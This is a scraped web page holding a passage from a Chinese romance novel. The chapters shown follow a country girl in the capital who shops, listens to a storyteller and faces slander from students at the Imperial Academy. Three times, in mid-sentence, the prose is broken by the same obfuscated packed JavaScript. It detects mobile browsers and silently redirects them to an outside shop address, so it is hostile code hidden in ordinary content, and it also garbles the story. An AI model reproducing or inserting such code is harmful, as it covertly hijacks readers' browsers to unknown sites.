卖风筝的摊子前，她跟人家讨论了半天扎风筝的诀窍，从竹篾的选材聊到糊纸的浆糊，把摊主都说愣了，最后买了一只蝴蝶风筝，说回头要在后院放。 柳莺儿手里已经抱满了东西，艰难地跟在后面，走几步就要颠一颠，生怕东西掉下来。 不远处，褚序宸带着小厮来喜，不紧不慢地跟着。 他从未陪人逛过街，只觉得无聊至极。这些稀松平常的廉价玩意，有什么可买的。 乡姑就是乡姑，当真没看过世面。 来喜跟在自家公子身后，偷偷瞄了一眼柳莺儿那边——那丫头怀里已经快抱不下了，胳膊都在打颤。他想过去帮一把，可见自家公子那张阴沉沉的脸，到嘴边的话又咽了回去。 他知道公子不喜那位林姑娘，算了，多一事不如少一事。 林慕凝逛到一处卖簪子的摊子前，又蹲下来挑挑拣拣。 摊主是个中年大娘，嘴皮子利索得很。见林慕凝身后不远不近地跟着个男人，便笑着打趣：“姑娘，那位是你相公吧？怎么离得那么远，也不过来帮你拿东西？” 林慕凝一愣，顺着大娘的视线回头一看，还真是褚序宸。 那人站在几步开外，一脸生人勿近的表情。 她忍不住笑了，回过头对摊主说：“大娘您误会了，他不是我相公。” “哦？”大娘来了兴致，“那是？” “是我兄长。”林慕凝随口答道。 大娘看了看她，又看了看远处那位冷着脸的“兄长”，啧啧两声：“这兄长当的，妹妹买东西，他倒跟个外人似的站那么远。” 林慕凝笑而不语，继续低头挑簪子。 大娘却不罢休，压低声音，凑近了些，一脸八卦：“姑娘，你这兄长可娶妻了？” 林慕凝手上动作顿了顿，心思一转。娶妻？ 她想起在马车里，那人冷着脸把她推开的那一幕。那股火又升了起来。 心思一转，说道：“说起这个，我娘可愁了。你瞧我兄长长得人模狗样的吧，可回回跟姑娘没说上几句，就把人给说哭了。也不知他哪来的本事，好端端的姑娘，到他跟前待不了一盏茶的功夫，就红着眼跑走。弄到这个年纪了，竟无人愿意嫁他。大娘你说说，这上哪说理去。” 大娘脸色立马严肃起来：“那哪行呢，姑娘家嫁人，图的是知冷知热，你兄长这样，可不好说亲。你以后可得说着他点，谁乐意嫁个冷面阎王。” 林慕凝差点笑出声来，憋着笑连连点头：“大娘说得是，回头我劝劝他。” 大娘满意地点点头，又塞给她一对耳坠：“这个送你了，姑娘嘴甜，看着就让人喜欢。” 林慕凝起身往前头走，越想越好笑。 她原以为京城大户人家的公子都是那种温文尔雅、风度翩翩的类型，没想到遇到个这样的。 冷面阎王？ 这外号起得真贴切。 柳莺儿小跑着跟上，气喘吁吁地问：“姑娘，您方才那样编排大公子，会不会不合适啊？” “有什么合适不合适的？就是让他听着了，我也不怕。” 林慕凝自然知道，褚序宸这样的人，想娶什么样的名门闺秀娶不上？轮不到她来置喙。她不过是为自己出口气罢了。 柳莺儿张了张嘴，想说什么，又咽了回去。 日头渐渐升高，集市上的人越来越多。 林慕凝逛累了，找了家临街的茶摊坐下，要了两碗茶，又点了几样点心。 柳莺儿把东西放下，揉了揉酸痛的胳膊，长长地松了口气。 林慕凝看她那副模样，有些心虚，嘿嘿一笑，给她倒了碗茶：“喝口茶歇歇，等会儿咱们就回去。” 柳莺儿端起茶碗，刚要喝，忽然想起什么：“小姐，那大公子呢？咱们不等他？” 林慕凝往外看了一眼。 褚序宸站在茶摊外头，长身而立，没有要进来的意思。他目光淡淡扫过这街边的茶水铺，眉头微微皱起，像是在看什么不入眼的东西。 果然，没一会儿，他就带着来喜转身进了对面不远处的一家茶楼。那茶楼装潢气派，门脸宽敞，一看就不是寻常百姓去得起的地方。 林慕凝收回目光，撇了撇嘴。 “呵，要不是老夫人发话，他才懒得陪咱们呢。”她端起茶碗喝了一口，“人家有身份的人，哪能跟咱们挤这种地方？咱也别强求了。等会儿咱们自己走，他爱去哪去哪。” 柳莺儿想了想，也觉得有道理。 两人喝着茶，吃着点心，说说笑笑起来。 褚序宸进的茶楼就在这茶摊对面不远处，他坐在二楼临窗的位置，正好能看见那主仆二人。 他坐下后，目光不经意地扫过窗外，那两人正捧着茶碗，不知在说什么，笑得前仰后合。 他皱了皱眉，收回目光。 他对来喜说：“等会把马车给她们留下。” 来喜忙问：“公子，您要去哪？” “国子监。” “那若是老夫人问起？” 褚序宸瞪他一眼：“我这大半天是在做什么？不够应付的吗？” 去国子监给学子们讲课，是一个月前便跟他的老师说好的。要不是因这乡姑，也不至于无聊这半日。 茶楼里也有吃食，他点了几道，应付完了午饭。想到出门前，母亲跟林家女说的，要是钱不够了跟他要。 便从怀里掏出十两银子递给来喜。 “下午你跟着，要是她们钱不够，便把这个给她。记住了，钱不够再给。” “是，公子。”来喜偷眼看了看自家公子那张冷冰冰的脸。 心想：公子这人，只是嘴硬罢了，这不是给钱了嘛，还一下子给了这么多。 * 林慕凝带着柳莺儿扛着一堆东西登上马车时，里头空无一人。 她转身问来喜：“大公子呢？” “哦，”来喜堆上笑脸，“大公子办事去了。姑娘还想去哪儿，小的跟着就是。这京城哪里有好吃的好玩的，小的门儿清。” 林慕凝本打算打道回府的，现在那个冰块脸既然不在，那就先不急着回去了。 “来喜，京城哪里有说书的，我想去听听。” “林姑娘，您喜欢听书啊，这个好说，离此处不远有个德月楼，看戏、听书、听曲儿，样样都有。姑娘要是想去，小的这就带路。” “走，去！”林慕凝顿时来了兴致。 她最喜欢听书了。 在老家的时候，哪有这么好的机会？也就每隔两三个月，去县里赶集，才能挤到说书先生那里听上一会儿。 借此了解外面的世界。甚至于她读书认字，也是跟着说书先生学的。家里头的旧书也就够她认个路标。 她打小就知道自己被定给了京城一户人家，可是京城在哪，外面的世界到底什么样，全然无知。靠着自己听的那些故事，约莫勾画出了一个大体的轮廓。 过去这三个月，她一路上也听过不少说书。有些讲得真好，竟然跟她后来亲眼见到的景象一模一样。她这才知道，说书先生嘴里那些事，不全是编的。 到了京城这块陌生地儿，想要了解这地方的风土人情， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309719|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最好的办法就是听书。 今日赶上大集，德月楼人也颇多。好在来喜有人脉，硬是给林慕凝淘换了两张票来。 他自己不爱听这些，跟林慕凝说：“小的在外头等着，您和柳姑娘在这听。您放心，想听几段听几段。听够了咱再回。” 林慕凝挺喜欢来喜这个机灵的小子，不像他主子那般势利且无趣，便塞给来喜一小块碎银，对他说。 “你不用死等，自己玩去。过上两个时辰再来寻我们。” 来喜可不敢接，要是让大公子知道了，回去不得打烂他的屁股。 “不用，姑娘，我哪都不去，困得很，小憩一会儿，正好偷个懒儿，嘿嘿，您不用管我。”说完，不等林慕凝回话，一溜烟地跑了。 “这小子，”林慕凝收回手，“真懂事。” 德月楼里人声鼎沸，林慕凝和柳莺儿挤进去的时候，一楼大厅已经坐得满满当当。 来喜给她们弄的票是二楼的。靠栏杆的一张小桌，能居高临下看见一楼的说书台子。林慕凝坐下后往下一瞧，正中间一张长桌，一把折扇，一块醒木，说书先生还没上场。 “这位置真好。”林慕凝满意地点点头，“来喜那小子，有点本事。” 二人刚坐下，小二就拎着茶壶来了。 “两位姑娘，喝茶不喝？” 林慕凝点了点桌子：“有瓜子吗？来上一盘。” “得嘞，您稍候。” 话音刚落，楼下响起一声清脆的醒木拍桌声。 全场安静下来。 一个穿着灰布长衫的中年男子走上台，朝四方拱了拱手，声音洪亮：“诸位客官，今儿个咱们继续前几日的故事—王爷落难记。” 底下有人叫好。 林慕凝眼睛亮晶晶的，托着腮，一副准备听戏的模样。 柳莺儿在一旁小声问：“姑娘，这故事讲什么的？” “不知道，听就是了。”林慕凝头也不回。 “话说这位六王爷，被丽贞娘子救下后，安顿在了那个隐蔽的小山村。日复一日的养伤...” 林慕凝听出来了，故事讲的是一个贵重的王爷遭难，被一民女所救，化名王盛。两人暗生情愫，私定婚约。 柳莺儿听得入迷，不禁问：“这世间真有王公贵族舍弃身份和民女在一起的事？” 林慕凝咂摸着：“天下之大，什么样的人没有。有些人就不在乎那些身外之物。不过故事还没结束，也不知道后面会如何。” 柳莺儿想了半天：“我觉得这王爷日后定会回去的，至于这位丽贞娘子，怕是会被舍弃。” 林慕凝朝她看去：“莺儿，你不过才十五，为何对感情之事如此悲观？” “因为现实就是如此啊。姑娘你不知，我姑姑原先就喜欢上了一个书生，那书生说高中后回来娶我姑姑，可我姑姑等了他许多年，那公子再也没回来过。后来有人说，他在京城娶了官家小姐。” 柳莺儿说到这些，眼眶红了。 “姑姑郁郁而终时，还不到二十。还有，大公子不就是因为姑娘的出身，才……” 说了一半，她赶紧闭嘴，去看林慕凝。 “对不起，姑娘，我说错话了。” 林慕凝毫不在乎地说：“没事，不是有二公子嘛，我可没瞧见他有一点嫌弃我的样子。” 说起这二公子褚书墨，林慕凝也觉得他有些不易。那人那般小心翼翼，生怕给别人添麻烦的样子，一般就是从小寄人篱下没人疼的。说不定褚序宸为了这个婚约，强迫他来褚家的。 她对自己这般客套，有多少是逼不得已在里头呢。 今日的故事已经讲完，柳莺儿见林慕凝还在发呆想事情，提醒道：“姑娘，咱们走不走？” 林慕凝收回思绪，说：“走，去国子监接我那未婚夫下学。” 12. 第十二章 今日国子监来了大人物，当朝最年轻的顺天府尹大人褚序宸。 消息一传开，学子们便蜂拥而至，将那间讲舍围得里三层外三层。人人都想挤到前头，亲耳听听这位褚大人指点文章，若能得他一两句点拨，那便是天大的造化。 讲舍内，褚序宸端坐于上首，身姿如松，眉目清冷。他今日穿了常服，比平日的官服少了几分凌厉，却依旧带着那股生人勿近的气场。 可他一开口，所有人便都忘了他的身份。 “文章之道，不在辞藻华丽，而在言之有物。若无真知灼见，便是字字珠玑，也不过是空中楼阁。” 他今日讲的是策论，却没有半点枯燥，引经据典信手拈来，剖析事理鞭辟入里。学子们听得入神，竟忘了平日里最期待的下学时间。 有人悄悄议论：“褚大人这般年纪，竟有如此见地，真乃神人也。” “那是自然，二十二岁的府尹，大夏朝立国以来头一份。你以为靠的是什么？” “听他一席话，胜读十年书啊。” 褚书墨站在人群后面，看到兄长如此受欢迎，他既骄傲，又有些自卑。想到兄长在自己这个年龄已经中了状元，而他却不过只是在乡试里考了个经魁。在家里时，或许能得几句赞赏。可来到了京城，不说个个都是翘楚，但人外有人，山外有山。想要在明年的会试甚至殿试杀出重围，他绝不敢妄言。 不过他这人向来知足，想自己孤儿出身，靠着亲戚接济长大。如今竟能住进顺天府尹大人家中，又认了母亲，还有个貌美的未婚妻，这样的事，他以前连梦都不敢做。 尤其是想到未婚妻，那张娇俏明媚的笑脸，他的耳根又开始微微发红。 褚序宸讲完，学子们还不肯散，围着他问问题。正巧此时，门外起了一阵骚动。 有人低声惊呼：“那是谁家姑娘？” “好生貌美！” 褚书墨抬头望去，瞬间便愣住了。 讲舍门外，一个穿着淡色衣裙的姑娘正在跟人打听。 “褚公子在何处？” 她生着一张小小的鹅蛋脸，五官精致，一双眼睛清亮有神，像盛着一汪春水。跟人说话的时候，眉眼带笑，让人看一眼便难以忘却。 竟是林慕凝。 一瞬间，褚书墨的整张脸，连着脖子都红了。 门卫大爷见她这般齐整，便以为她来寻褚序宸的，笑呵呵应着：“姑娘是找褚家公子啊？”他伸手指着讲舍的位置，“诺，就在那里给学子们讲课呢。” 林慕凝顺着大爷指的方向望去，透过人群隐约可见一道端坐的身影。 她心里还纳闷：这二公子这么厉害！竟还能给别人讲课？ 一边往里走，一边压低声音对柳莺儿说：“这二公子瞧着温温吞吞的，没想到学问这么好，还能给国子监的学子讲课呢。” 柳莺儿也觉得意外，小声回道：“说不定姑爷以后也能中状元呢，不比大公子差。” 林慕凝笑着点了下她的额头：“你呀，状元状元的，就那么好吗？我不求未来夫婿做多大的官，只要能和我一心一意，踏踏实实过日子，我便知足了。官做得太大，人就飘了。” 柳莺儿知道她这是想起了大公子，心中暗暗叹息，便没再说什么。 讲舍就在不远处，里头人头攒动，热闹非凡。 林慕凝素来大方，见那些年轻的学子们纷纷朝她望来，也不扭捏，扬起手朝他们挥了挥，笑得眉眼弯弯。那些尚未入仕的学子们哪里见过这般大方的姑娘？一个个红了脸，低下头去，却又忍不住偷偷抬眼再看。 褚书墨站在人群里，看着她朝自己挥手，只觉得心跳快得要从嗓子眼蹦出来。他想迎上去，腿却像被钉在地上，一步都迈不动。 褚序宸也顺着学子们张望的方向看了过来，就见林慕凝提着裙子，一脸笑意地朝这边走来，还同这些学子们招手。 他的脸色顿时沉了下来。 此女子当真是不成体统。 这国子监是什么地方？是大夏朝培养栋梁之地，是读书人清修苦读之所。她一个未出阁的姑娘，大摇大摆地闯进来，朝那些年轻学子们招手说笑，成何体统？ 她知不知道什么叫男女有别？知不知道什么叫闺阁仪态？ 褚序宸深吸一口气，压下心头那股莫名的烦躁。他预备起身，去迎一下。顺便好好训导一番，将人遣走。 可身子刚抬起来一半，就见她朝着褚书墨的方向去了。 “二公子，二公子？” 众人这才发觉，原来这姑娘是来找褚书墨的。 “难不成，这就是跟褚家订了婚的那女子？” “没想到，竟如此美貌。书墨这小子，可是有福了。” 有人感叹，有人艳羡，可也有人交换了一个意味深长的眼神。 褚序宸又坐了回去，原来她是来找书墨的，那便由他去管教管教他这未婚妻吧。他继续给那几个好学的讲解。 褚书墨脸红红的，说话都有些结巴了。 “林.....林姑娘，你怎么来了？” “来接你下学啊。今日老夫人坐车出门，我又占了一辆，你怕是要走着回去。这路不算近，我想着来接你一趟。”林慕凝说话大大方方，在褚书墨听来，却极为亲密。他的脸红得能滴出血来，头埋得更低了。 站在角落里的几个学子，压低了声音，窃窃私语起来。 “就她？那个乡下来的？” “可不是。听说原本是许给褚大人的，后来……啧，你知道的。” “知道知道。褚大人什么身份？怎么可能娶个乡下丫头。这不，推给褚书墨了。” “出身倒是匹配，都是乡里来的嘛，呵呵。” 说话的是个瘦长脸的学子，姓孙，家里在京城开了几间铺子，算是个富户，父亲捐了个小官，他便得了来国子监读书的机会。他平日里就爱攀高踩低，看褚书墨这个外来的处处不顺眼。 旁边一个胖些的，姓赵，是官生子。他目光在林慕凝身上转了一圈，带着几分玩味：“不过这模样，确实出挑。就这姿色，便宜褚书墨了。” “便宜？”又一位李姓学子嗤笑一声，“你懂什么。这种女子，也就长了一张脸吧，大字不识几个，上不得台面。娶回去有什么用？摆着看？” 胖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309720|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学子嘿嘿一笑：“摆着看也不错啊。这身段，这脸蛋，搁家里头，日日瞧着也舒坦。” “那倒是。”孙姓学子也笑了，目光越发肆无忌惮，“要我说，这样的女子，做正妻是不太够格，可若是当个外室，或是纳为妾室，那可真是不错。” 李姓学子道：“你也想得美。人家好歹是跟褚家订了亲的，轮得到你？” “褚书墨那个穷酸，要不是过继到褚家，现在还不知道在哪个犄角旮旯蹲着呢。他那个人，软得很，往后能有什么出息？这姑娘跟了他，也是白瞎。”孙姓学子不错眼珠盯着林慕凝，心里算盘打得响，若是褚书墨日后没个出息，这样的女子怕是不安分。指不定会如何呢？ 李姓学子有点良心，说道：“话不能这么说，人家现在可是褚家二公子，再不济也是顺天府尹的弟弟。” “弟弟？”孙姓学子压低了声音，语气里满是嘲讽，“过继来的，也配叫弟弟？褚大人什么人物，能真把他当弟弟？不过是为了应付这门亲事，找个替死鬼罢了。” 几个人相视而笑，笑声里带着几分轻贱。 “替死鬼也好，捡漏也罢，反正便宜是让他占了。”胖学子咂了咂嘴，“这姑娘要是落到我手里，啧啧……” “你？”孙姓学子推了他一把，“做梦去吧你。”他还想占便宜呢。 这些话，他们自以为说得隐蔽，声音压得低低的，混在人群的嘈杂里，寻常人根本听不清。 可偏偏，林慕凝的耳力不错，一个凌厉的眼风扫了过去，让那几个人打了个激灵。吓过之后，又不免一阵嘲讽。 “小模样，真带劲！” “我喜欢，嘿嘿嘿。” 林慕凝见眼神扫过去不管用，便朝着那几人走了过去。 褚书墨正低头红着脸，没注意到她的动作。等他回过神来，林慕凝已经走出去好几步了。 “林姑娘？”他慌忙跟上去，声音里带着几分不安，“你……你要去哪儿？” 林慕凝没回头，只丢下一句：“二公子稍等，我同你这几位同窗说句话。” 那几人见她朝自己走来，先是一愣，随即交换了一个心照不宣的眼神。 孙姓学子挑了挑眉，压低声音道：“这是听见咱们说话了？” 胖学子嘿嘿一笑：“听见又怎样？一个乡下丫头，还能翻了天不成？” 李姓学子有些心虚，往后缩了缩：“别闹太大，毕竟是褚家的人，褚大人还在场。” “那又如何？”孙姓学子嗤笑，“褚大人恨不得自己跟这人一点边都不占。再说了，咱们说什么了？夸她长得美，那也是看得起她。” 林慕凝已然走到近前，笑着说：“我竟不知这国子监还有你们这种货色！” 三个人的脸色顿时变了，姓孙的说：“你什么意思？” 声音不小，连讲台上跟褚序宸请教问题的学子都听见了。他们停下声音，纷纷朝这边看过来。 褚序宸原以为林慕凝在单独和褚书墨说话，说不定已经走了，没想到她竟然站在三个陌生学子面前，那阵仗，颇有些剑拔弩张的架势。 他眯了眯眼睛，朝褚书墨看去。 13. 第十三章 褚书墨就站在一旁，也不说劝阻，却像是要探个究竟，问林慕凝。 “林姑娘，他们几个怎么了？” 林慕凝看着那几人，冷笑一声。 “我原以为能在这国子监读书的，都是谦谦君子。竟不知会有人当众议论别人的未婚妻，盘算着抢回去做什么外室、妾室的。” 此话一出，四周顿时一片哗然。 那些还没散去的学子们纷纷围拢过来，有人面露惊诧，有人皱眉不齿。褚书墨早已忘了方才的羞赧，他看向那几人：“你们当真如此诋毁林姑娘？” 那几人面色青白交加。 他们敢小声议论，却不敢大声声张。尤其是余光瞥见褚序宸正缓步走来，那修长的身影一出现在人群边缘，几个人的腿肚子都开始发软。 这褚大人看不上这乡下来的女子是一回事，可她毕竟是他们家未来的媳妇，就算嫁的是那个过继来的褚书墨，那也是褚家的人。若被人当众这般议论，褚家的脸面往哪儿搁？ 孙胜脑子转得飞快，当即换上一副无辜嘴脸，连连摆手：“没有的事没有的事！姑娘误会了！我们几个说旁的事呢，跟姑娘无关！” “就是就是！”赵寂也跟着附和，“姑娘听岔了！我们怎敢说姑娘的坏话？” 李沐阳低着头，一个字都不敢说，只盼着这事赶紧过去。 褚书墨却不肯罢休。 他见林慕凝脸色未变，心里那股憋闷的火气更盛了几分。他上前一步，一把拽住孙胜的衣领，声音带着从未有过的硬气：“林姑娘不会听岔的！定然是你们几个胡说！快给林姑娘道歉！” “你放开！”孙胜猛地抽出自己的衣领，正要冲褚书墨发作，忽然感觉一股大力将自己拽了过去，紧接着，人就朝着学堂外飞了出去。 等他反应过来的时候，他人已经面朝地，摔了个狗啃屎。 “是谁啊？哪个孙子敢摔你老子！” 一回头，就见褚序宸在不远处拍手上的灰尘，眼神冷得要吃人。他吓得趴在地上，一动不敢动。 另外两位，李姓和赵姓学子也是吓得面无血色。 赵寂最先反应过来，抬手就往自己脸上招呼，“啪”的一声脆响。 “褚大人！学生知道错了！学生再也不敢了！” 李沐阳虽然没说什么过分的，也自知不该议论旁的女子，拱手道：“学生甘愿认罚。” 为免事情闹得太大，国子监的夫子赶来救场，将那几位多言的各罚抄书百遍，又亲自跟褚序宸说情，这才将这件风波平了。 回去的路上，马车内气氛压抑，无人说话。 褚序宸紧缩眉头，闭目养神。 褚书墨不敢言语，其实他还在为林慕凝鸣不平，又恨自己人微言轻，无法帮其出气。 林慕凝则看着车窗外，想着心事。世道如此，有些人惯会捧高踩低，自己的未婚夫就在当场，他们还敢那样说，明摆着没把褚书墨放在眼里。可想而知，褚书墨在学堂里都是什么样的待遇。今日若非褚序宸在场，怕是不会就这样善罢甘休。 她忽然对自己之前同柳莺儿的那番说辞不认同了。像她和褚书墨这样出身的人，就得爬到高处，才不会被人侮辱贬低。 褚书墨尚且有科考这条路，而自己呢？难道女子只能依靠夫婿吗？若日后他真的登上了高位，又如他兄长一般，厌弃了自己的出身，到时候又该如何？ 林慕凝是个藏不住心事的人，想些什么都表现在脸上。她眉头微微拧着，往日常挂着的笑容也没了，一看便知心情不好。褚书墨以为她是因那几个说的话还在生气，可又不知该说些什么劝一劝她。 又见一旁的兄长沉默不语，便忍了下来。想着等会儿回去再找机会劝解。 褚序宸也瞥见了林慕凝的变化，他冷哼一声，心想：原来这女人也不是无所畏惧。还是有让她忧愁的事情。 林慕凝听到那声冷哼，转过头来，却没看褚序宸，而是对褚书墨说道：“今日多谢二公子为我出头。” 褚书墨有些不好意思道：“我.....我也没做什么，全依赖兄长。” 林慕凝这才把目光看向了褚序宸，看似有些不情愿地道谢：“多谢兄长。” 褚序宸又是一声冷哼，“若非你今日自作主张去了国子监，也没这些事。”他语气冷硬，像是在训斥不懂事的晚辈，“国子监成立这些年，你还是头一个敢在学堂外招摇的未婚女子。” 这话也不全错，以往国子监不是没去过女眷，但大多是家中长辈来送些吃食衣物，像林慕凝这般大摇大摆来找人的，还真是头一遭。 林慕凝却不吃他这一套，听他这样说，当即反驳：“不允许女子去那里读书也就罢了，又没有明文说不许女子去那里看看。我去便去了，怎的？就因为这样，我就活该被他们那样说吗？” “你！”褚序宸何曾被人这样顶撞过，一时间火气蹿到了胸口。更可气的是，她说的不无道理，他竟无法反驳。 他手指了半天，又放了下来，内心颇为烦闷，为自己占了下风而生气。 褚书墨连忙做和事佬。 “今日是他们的不对，林姑娘你没有错。只是......”他斟酌着词汇，“只是如今国子监不比之前，人员混杂，林姑娘日后还是不要去的好。” 他想说连自己这种出身的都能去那里读书，别人也会找关系进去的。可这话此时当着褚序宸的面，又很是不妥，便改了口。 林慕凝听了，脸色稍缓。凭白生了今日这顿气，她也没打算日后再去。只是看着褚书墨那小心翼翼的模样，她忽然想起一件事来。 “二公子，”她问，“你常被他们欺负吗？” 褚书墨被她这“二公子，二公子”叫得有些不好意思。在褚家，下人们这样叫他，他听着也习惯了。可在国子监，同窗们都直呼其名，没人会这般客气地称呼他。 他挠了挠头，小声道：“林姑娘，日后叫我书墨即可。” 林慕凝愣了一下，随即笑了。 拨云见日，她整个人的神情都柔和下来。 “好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309721|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她说，“那你也叫我慕凝吧。” 褚书墨的脸腾地红了。 “好，林……慕凝。”他结结巴巴地叫了一声，耳根烫得厉害。为了掩饰自己的窘迫，他连忙回答她方才的问题，“那些人不过喜欢背地里说人坏话罢了，得兄长和母亲庇护，无人敢真的欺负我。” “那便好。”林慕凝点点头，心里却明白，他那话不过是安慰自己罢了。 无人敢真的欺负他？ 今日那几个纨绔敢当着他的面那样议论他的未婚妻，不就是明摆着的欺负么？ 她没戳穿他，只是心里对这位温吞的二公子，多了几分怜惜。 褚序宸冷眼看着这两人，不过几句话的功夫，竟又有说有笑起来，心里那阵郁闷又加深了。 到了褚府，他第一个跳下车，甩了袖子就往院门里走。早些时候被打发回来的来喜在门口迎着，见林慕凝和褚书墨一同下了车，想说些什么，就听自家公子喊了一句：“还愣在那里干什么！” 来喜打了个哆嗦，赶忙小跑着跟上去。 “公子这是怎么了？出去的时候还好好地，是谁惹公子生气了？” 褚序宸只想远离那二人，闷声不说话，快步往前走。 他觉得林慕凝就是他的克星，自从她来之后，好事都变成了坏事，今日去国子监授课本来是受夫子所托，一开始都很好，结果就被她搅得一团糟。 想想那几个纨绔也是着实可恨，竟如此不把褚家放在眼里。他回到书房，在案前坐了片刻，便传人：“来喜！” “小的在。”来喜一激灵，连忙躬身进来。 “你去趟国子监，查一查今日受罚的那几个的背景。尤其是那个瘦的和胖的。”褚序宸不知道那二人叫什么，只记得身形。 来喜心头一跳，原来自家公子是在国子监受气了。 “是，小的这就去。” 他转身要走，却又被叫住。 “等等。”褚序宸抬眸，目光幽深，“查仔细些，不要打草惊蛇。” “明白。” 晚饭时，林慕凝将今日受的气，全都化作了食欲，比平日里还多填了一碗饭。沈氏见她饭量不错，也不拘束，很是开心，自己也跟着多吃了些。 沈氏问起她今日都去了哪里。 林慕凝便将她去逛街，听书的事一一讲了，略去了在国子监发生的事。她不想沈氏担心，更不想让她知道有人诋毁二公子。她自己倒是无所谓，因为长相的原因，在家时，更难听的话也听过，她从不惯着。 可若是让沈氏知道褚书墨的待遇，怕是要难过。 褚书墨心里对林慕凝更加赞赏了。一直低头浅笑。 褚序宸没什么胃口，怕母亲看出来才没放下筷子。他也真是佩服林慕凝的心态，旁的女子经历这种事，怕是连门都不愿出了，她倒好，当没事人一样。 沈氏终于发现了长子的不寻常之处，他一直扒拉着碗里的半碗饭，却不见减少。她问：“序宸，你今日一直陪着慕凝的吧？没有偷偷跑路吧？” 14. 第十四章 褚序宸正夹了一口菜塞进嘴里，听到母亲这样问，噎了一下，顿时咳嗽起来。 坐在一旁的褚书墨连忙替他拍背顺气：“兄长吃慢些。” 沈氏看了自己亲儿子一眼，知他不喜林慕凝，道：“难不成真让我说中了？” 林慕凝抢在褚序宸开口前回道：“今日兄长可威风了。” 正低头咳嗽的褚序宸抬眸看向了她，眼神微动。她想说什么？ 就听林慕凝说道：“路上碰上了不讲理的商家，我就拿起来看了一眼，没想买。没想到那人不依不饶，非要高价卖给我。是兄长替我出面解决的。” 原来是说这个。 褚序宸又低下头去，心中哼了一声。 “算你还有点机灵。” 沈氏点点头：“理应如此，现在世风日下，有些个人看着良善，实则心眼颇多。你人生地不熟的，小心叫别人算计。”她看向褚序宸，“序宸身为兄长，本就该护着你们。这事算他做的不错。” 她又对林慕凝说：“你日后若还想出门，就等你兄长休沐的日子，让他给你保驾护航。” 林慕凝忙摆手：“不用不用，兄长事多，我让莺儿陪着我就行，大不了，下次把春桃她们也带上。” “嗯，”沈氏知道林慕凝这孩子虽年纪小，但很懂事，大约也看出来了大儿子不喜她。 沈氏也不强求，又说：“让你兄长给你安排几个身体强壮的小厮，下次出门跟你一起。” 吃罢饭，褚书墨回去继续温书。 褚序宸去了书房。 林慕凝又陪沈氏喝了会茶，这才回到自己的抱竹轩。 这一天经历的事情不少，饶是她精力旺盛，如今也乏了。 她让春桃带着那几个丫鬟自己去找给她们买的东西，洗漱一番，便躺到床上睡去了。 褚书墨的书打开着，却没读进去。他一直想着今日的事。林姑娘去国子监找自己，本是好意，却遇到这样的麻烦。他心里很是过意不去。 他问身旁候着的小厮石头：“你明日去找春桃打听打听，林姑娘可有喜欢的物件。” 太贵重的他也送不起。他会做些木匠手工，之前在家时帮着亲戚做些家具，能赚些钱补贴家用。他想打一套小玩意送给林慕凝，又不知她喜欢什么？是小动物？还是花花草草？ 石头应下。 “二公子，天色不早了，明日还要去国子监，要不歇着吧。” 褚书墨毫无睡意。 “你去歇着吧，我再看会儿书。”如今他不是一个人了，必须得考出好成绩，有了官身，才能护住林慕凝。 另外一边，书房里。 褚序宸靠在椅背上，揉着眉心，听来喜汇报。 “那个瘦猴儿叫孙胜，家里头做生意的，他爹前年捐了个小官，掌管东四大街的城门楼子，不足为道。” “那个胖的叫赵寂，他爹是个五品官，是礼部郎中。” “哦还有一个姓李，叫李沐阳，平日里为人谨慎，不过与赵家沾点亲，跟赵寂走得近些。来国子监读书是赵家托的关系。” “就这等货色，竟然与我褚家做对。”褚序宸语气不善，心中已然有了打算。 隔日一早，天色微明。 他照例很早起身锻炼。隔壁的后院竟也有了动静。 原来是林慕凝早起，叫丫鬟们跟她一块去后院耕地，将昨日买回的种子种下。除了柳莺儿，春桃她们没干一会儿就累得气喘吁吁。 林慕凝颇为不屑地看着她们。 “春桃，我昨日出门时给你安排的活，你没干完也就算了。今日怎的也这般不愿使力。” 春桃扶着锄头摇摇晃晃。 “姑娘，我实在是干不动了。” 旁边的秋杏也差不多，额头上大汗淋漓。 再看另外两位，没好到哪去。 林慕凝叹气：“你们呀，都在这宅子里待废了。别说这点地方，就是百十亩地，说一天抛完，我也不带歇气的。行了，你们都去歇着，我和莺儿干。待会儿来换人。” 那几个丫鬟像是得了赦免令一般，飞也似的跑进了前院。争着去干洒扫的活计。比起翻地，这些活可轻松多了。 林慕凝看柳莺儿擦了擦鬓角的汗，问：“你要是也累，也去前院歇着去。我自己能行。” 柳莺儿笑呵呵地说：“我不累，以前我爹还在的时候，他去外头给人看病，我就去帮邻居种地赚工钱。”提到自己的爹，柳莺儿沉默了一瞬，又继续干活。 